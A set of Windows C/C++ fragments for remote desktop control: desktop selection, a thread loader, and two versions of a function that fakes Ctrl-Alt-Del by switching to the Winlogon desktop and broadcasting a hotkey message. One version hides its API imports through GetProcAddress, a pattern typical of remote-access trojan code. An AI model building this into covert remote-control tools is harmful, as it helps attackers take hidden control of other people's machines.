bool InputDesktopSelected() { DWORD dummy; char threadname[256]; char inputname[256]; HDESK threaddesktop = GetThreadDesktop(GetCurrentThreadId()); HDESK inputdesktop = OpenInputDesktop(0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); if (inputdesktop == NULL) return FALSE; if (!GetUserObjectInformation(threaddesktop, UOI_NAME, &threadname, 256, &dummy)) { CloseDesktop(inputdesktop); return FALSE; } if (!GetUserObjectInformation(inputdesktop, UOI_NAME, &inputname, 256, &dummy)) { CloseDesktop(inputdesktop); return FALSE; } CloseDesktop(inputdesktop); if (strcmp(threadname, inputname) != 0) { //if (strcmp(inputname, "Screen-saver") == 0) { return SelectDesktop(); } return FALSE; } return TRUE; }
BOOL SimulateCtrlAltDel() { typedef DWORD (WINAPI *GetCurrentThreadIdT)( VOID ); GetCurrentThreadIdT pGetCurrentThreadId=(GetCurrentThreadIdT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetCurrentThreadId"); typedef HDESK (WINAPI *GetThreadDesktopT)( __in DWORD dwThreadId); GetThreadDesktopT pGetThreadDesktop=(GetThreadDesktopT)GetProcAddress(LoadLibrary("USER32.dll"),"GetThreadDesktop"); typedef BOOL (WINAPI *PostMessageAT)( __in_opt HWND hWnd, __in UINT Msg, __in WPARAM wParam, __in LPARAM lParam); PostMessageAT pPostMessageA=(PostMessageAT)GetProcAddress(LoadLibrary("USER32.dll"),"PostMessageA"); HDESK old_desktop = pGetThreadDesktop(pGetCurrentThreadId()); // Switch into the Winlogon desktop if (!SelectDesktop("Winlogon")) { return FALSE; } // Fake a hotkey event to any windows we find there.... :( // Winlogon uses hotkeys to trap Ctrl-Alt-Del... pPostMessageA(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE)); // Switch back to our original desktop if (old_desktop != NULL) SelectHDESK(old_desktop); return TRUE; }
BOOL SimulateCtrlAltDel() { HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); // Switch into the Winlogon desktop if (!SelectDesktop("Winlogon")) { return FALSE; } // Fake a hotkey event to any windows we find there.... :( // Winlogon uses hotkeys to trap Ctrl-Alt-Del... PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE)); // Switch back to our original desktop if (old_desktop != NULL) SelectHDESK(old_desktop); return TRUE; }
unsigned int __stdcall ThreadLoader(LPVOID param) { unsigned int nRet = 0; #ifdef _DLL try { #endif THREAD_ARGLIST arg; memcpy(&arg, param, sizeof(arg)); SetEvent(arg.hEventTransferArg); // 与卓面交互 if (arg.bInteractive) SelectDesktop(NULL); nRet = arg.start_address(arg.arglist); #ifdef _DLL } catch(...) {}; #endif return nRet; }